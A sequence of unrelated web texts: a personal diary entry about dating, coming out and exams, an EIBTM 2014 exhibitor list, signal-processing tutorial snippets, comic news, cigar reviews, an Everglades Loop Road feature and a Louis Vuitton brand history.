Firstly, am still seeing this guy from the first date thing. Some things bother me, I'm pushing them to the side for now, I don't know how serious those "things" are to me yet. But whatever. Seeing each other again tomorrow, he's buying me dinner because I have no money lol. I've stayed round his house a couple of times now, met his housemate (she's a lesbian) - such a funny woman, she likes me and I like her, so that was good. This guy's stubble plays HAVOC with my skin though, I'm going to have to keep him shaved.
Came out to a friend at work, she was just like "oh cool I've always wanted a good gay friend". I couldn't really deny it any longer, as she overheard Kirsty talking to me on the phone and Kirst asked me who it was, and I said "only the greatest gay guy you know", and she repeated that back to me over the phone in front of people. So I was at work with Rachel and she said "Were you on the phone to Kirsty earlier?" and then I just knew she sussed it. She started like "oh just forget about it" and I was like, "No, go on, ask me" and she did and I said yes. Another one down, a few hundred to go!
Exams have started. Have had two (English/Geog) so far, both went absolutely terribly. I know I have failed English and am fairly certain I've failed Geog. I have never failed an English exam in my life, so that's kind of annoying.
Just came out of my Geog exam, so am drowning myself in two bottles of wine. Might try and get my haircut tomorrow, but then I will literally have about £10 left in my account, and I don't get paid until next Friday. And when I do get paid I have an overdraught to pay back, and loads of other people to pay back, and I took two sicks days (and I don't get sick pay) which means I'll get paid £80 less than I usually do on top of everything else. Argh!
I've had a cold for about 2-3 weeks now which is starting to piss me off. And have had back pain for ages too, so am trying to book a doctor's appointment.
So overall I feel a bit shit at the moment, but trying to keep my chin up.
Hey - enjoy the exams. Sorry you've still got more to go
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Meet us at EIBTM 2014 in Barcelona
This year's EIBTM takes place from 18st – 20nd November and of course the Dutch will be present again. The Netherlands Board of Tourism & Conventions (NBTC) is present in the Holland booth (F30), together with 30 industry partners. You can find more information on these partners including links to their website below:
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Accor Hotels The Netherlands
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Amsterdam RAI Convention Centre
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Beurs van Berlage
Conservatorium Hotel Amsterdam
Delta Amsterdam
Grand Hotel Huis ter Duin
Holland North
Hotel Casa 400 Amsterdam
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Hotels van Oranje
KUONI Destination Management Benelux
Leiden Convention Bureau
Maastricht: Meet Europe
Mövenpick Hotel Amsterdam City Centre
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Palace Hotel Holland
Park Hotel Amsterdam
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Pepper and Salt Events
Postillion Hotels
Renaissance Hotel Amsterdam & Amsterdam Marriott Hotel
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A Quadrature Signals Tutorial: Complex, But Not Complicated
Understanding the 'Phasing Method' of Single Sideband Demodulation
Complex Digital Signal Processing in Telecommunications
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Sinusoidal peak measurement was discussed in Chapter 4. Given a set of sinusoidal peak frequencies , , it is usually straightforward to form a fundamental frequency estimate ``''. This task is also called pitch detection, where the perceived ``pitch'' of the audio signal is assumed to coincide well enough with its fundamental frequency. We assume here that the signal is periodic, so that all of its sinusoidal components are harmonics of the fundamental frequency . (For inharmonic sounds, the perceived pitch, if any, can be complex to predict [54].)
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Courtesy of Dark Horse, CBR presents exclusive previews of titles on sale June 19 including "Baltimore: The Inquisitor" #1, "Conan" #17, "DHP" #25, "Dream Thief" #2 and more!
COMMENTARY TRACK: Corey Taylor's "House of Gold & Bones" #1
The heavy metal singer behind Slipknot and Stone Sour digs into his comic book meets concept album as Corey Taylor explains the musical cues driving the dreamlike imagery of his new Dark Horse horror series.
Corey Taylor Builds Hope out of Darkness with "House of Gold and Bones"
CBR News spoke with Slipknot and Stone Sour lead singer Corey Taylor and artist Richard P. Clark about "House of Gold and Bones," a Dark Horse miniseries and multi-media project bridging music and storytelling.
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Slipknot lead singer Corey Taylor dropped by the CBR Tiki Room at NYCC 2012 to discuss his upcoming project "House of the Golden Bones" with Dark Horse, his love of the comics medium from an early age and more.
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"Really bad"
I ve been looking for flavored cigars that my wife and friends might enjoy, so I tried one of these. Bad, bad, bad...as in Not Good! Wrapper was loose halfway through and along with the cheap sweet flavoring, the smoke was as bad as any of those terrible stogies the fat guy smoked at the ball game when you were a kid...like someone lit up some dried doggie doo. Don t waste your money on these
David in North GA February 27, 2015
"If you like sweet capped cigars, this is the one."
A good quality cigar with a sweet cap.
George in Colorado July 10, 2014
"A Decent Flavored Cigar"
The Isla del Sol is a fairly decent cigar for those who like them flavored. The aroma was rather pleasing, as was the taste. There were notes of chocolate within the flavor of a sweet coffee. The burn was fairly even, but not the best. The construction, however, was inconsistent. One cigar was perfect in it s construction, but another was way too tight and yet another loose. Having been thick cigars, I decided to punch them for smoking, so I did not have any real issue with bits of leaf in my mouth.
Christopher B in Muncie April 13, 2014
"The worst box of cigars I ever bought."
I m a thrifty guy, so I couldn t throw this box of cigars out. That said, it took forever to burn the last one out. Probably the worst cigar I ever tried to smoke!
Gary in Michigan March 16, 2014
"Meh..Kinda disappointing"
I tasted no flavors..even on the cap. Decent smoke but nothing great. Probably wouldn t buy again but would smoke again if they came in a sampler. If you had told me if was a plain, non-infused cigar before I started I wouldn t have blinked..in no way did it taste infused.
Brandon in Kentucky March 9, 2014
"Don t know how it got 91 rating"
Cigars were very soft, caps are so sweet , it was like i had been licking envelopes and could not take it. I bought a box and could not finish the first cigar....not for me.
Patrick in Nashville Tn January 11, 2014
"My second favorite!"
Nice flavor, good burn, and priced right. I really enjoy this cigar and the price makes it even better. Well worth the money.
Jeff H. in Wisconsin December 26, 2013
"When has Drew Estate Let you Down?"
I see a good mix of reviews here, so I will simply add, if you are a fan of coffee, mocha, or sweet flavored cigars, you will love this one. If you are not, the Drew Estate brand may not be your best option. This is a great smoke for newbies...and vets that enjoy flavor and thick smoke.
Kilo in Atlanta December 21, 2013
"Great Cigar"
I love this cigar but my last order Famous cigar sent me severely dried out cigars. I had to send them back. My last two order the cigars were very dry.
Barry Miller in ohio June 26, 2013
"Great tasty cigar!"
These cigars are great! They burn nice and slow and have a nice coffee flavor then turns into a spice flavor towards the end..overall I really like these!
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We were standing there, my wildlife-spotting friend Greg and I, looking at the strange fowl when Bear, a ponytailed Miccosukee man, appeared from nowhere. "Those are ironheads. I don't know what white people call them," he said. "Know why they call them that? The heads are so strong that if they glide and hit your car window, they break it and just keep on flying."
Bear offered us a Budweiser, but we declined owing to our pending inquiry into the affairs of Loop Road, a 23-mile drive in the southernmost portion of Big Cypress National Preserve at the western edge of Miami-Dade County. I asked Bear whether the road had special significance for the Miccosukees. He looked down the swath of pavement that faded into the haze: "It's like part of life. It's like a story unto itself."
Or maybe a truckload of tales, many difficult if not impossible to prove. Bear had a Rolling Stones concert to attend that night, so we said goodbye. (I never told him that biologists call ironheads wood storks.) Music blasting, he vanished in a pickup truck the color of the silvery light that flickers on Everglades pools in late afternoon.
Greg and I headed west, away from the swampside modern homes toward the vestiges of the long-defunct town of Pinecrest, a place fabled for moonshiners, gamblers, barroom brawlers, and other backcountry renegades. The written history of Loop Road and its metropolis is sketchy, only a few feature articles and brief references in several books. But this much is known: Between its creation in the Twenties and today, a town of at least 200 people had sprung up, thrived for a few decades, then dissolved into a seldom-used public campground and overgrown clusters of dilapidated buildings. Mobster Al Capone and the composer of the bluegrass classic "Orange Blossom Special," fiddler Irvin Rouse, were once among its denizens. In 1974, when the federal government established Big Cypress, most everybody left. Only a few dozen private property owners who refused to sell their land stayed put. Nearly 25 years later there are but two dozen souls with a predilection for fresh air, pure water, peace, fishing, hunting, and mannequins. We'll return to the mannequins later.
Since its beginning Loop Road (or Florida Highway 94) has been characterized by strange customs and mysterious occurrences. The L-shaped route was first supposed to be part of the U.S. Highway 41, according to Big Cypress management assistant Kevin Kacer. Its eastern terminus is located at the 40-mile bend, where the Tamiami Trail curves sharply northwest if you are heading from Miami toward Naples. Work to dig U.S. 41, the Tamiami Trail, began in 1915 when crews started breaking ground in both Miami and Fort Myers. The developers employed native Miccosukees to help guide them through the swamp. By 1923 the trailblazers still had 40 miles to go. According to newspaper and historical accounts, they had planned to trace the path of an Indian trail in Monroe County until advertising magnate Barron Collier offered free right-of-way to the north through a chunk of Florida named for him, Collier County.
But the Chevelier Corporation, which owned large parcels of land in the Everglades, continued work on Loop Road as part of a housing development scheme. The Trail was opened to the public in April 1928. Loop Road, also known as Chevelier Road, was finished shortly thereafter.
The housing development never really developed. "The whole Big Cypress area, and hell, all of Florida, is crisscrossed with land development schemes," Kacer observes. "A lot of the areas here [in Big Cypress] were platted out and the little town of Pinecrest on Loop Road was [planned] to have alleys and parks and all that. A lot of people had a lot of dreams."
Big Cypress authorities have gathered little information about the place's history, Kacer says. "We're a young park," he adds. "We're just coming up on 25 years. The first 20 years have been a matter of understaffed and underpaid, and no time to do those nice-to-do things."
And so we had to find out for ourselves.
It's difficult to distinguish fact from fiction on Loop Road. As we continue the drive westward, dense trees and saw grass whir by. Tires slam into potholes. We approach a driveway with a hangman's noose looming above a plank fence and I again slam on the brakes. Pointed planks of wood nailed to a post indicate the directions of Miami, Tampa, and Cuba. According to a clock hanging next to a hog's skull on the right side of the gravel driveway, it's five. A street sign says "Lucky's Place."
We look into the yard, which is packed with two trailers, several old cars, and a tool shed. A man waves. "That must be Lucky," Greg surmises. We exit the car, walk down the drive, and sure enough, it's Lucky Cole, a burly blue-eyed dude, whose heavy upper arms protrude from his sleeveless blue T-shirt; one of his biceps is plastered with an eagle tattoo. Lucky, whose birth name is Louis Cole, is wearing suspenders that look exactly like tape measures.


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French fashion house Louis Vuitton was founded in 1854 and has since become an international luxury fashion power-house. The brand started by solely making travelling cases and trunks, and by 1888 these featured the now iconic brown checkered motif. It wasn't until 1914 that the monogrammed 'LV' symbol was patented. By the sixties the brand was thriving, expanding into wallets, purses and bags including their legendary 'Speedy' model. 1987 saw the brand merge with Moët et Chandon and Hennessy forming the lucrative LVMH conglomerate. In 1997 Marc Jacobs was appointed Creative Director, introducing a ready-to-wear line to the Vuitton business. Jacobs successfully made the brand more fashion forward and relevant; recent collections have been extremely feminine, with full skirts, corseted bodies and a fifties styling aesthetic.
Marc Jacobs has developed the Louis Vuitton brand extensively, he continues to develop the traditional hallmarks of the brand whilst incorporating his own exuberant vision. The brand's collaborations with artists such as Stephen Sprouse and Takashi Murakami have been hugely successful and added a contemporary touch to the legendary label.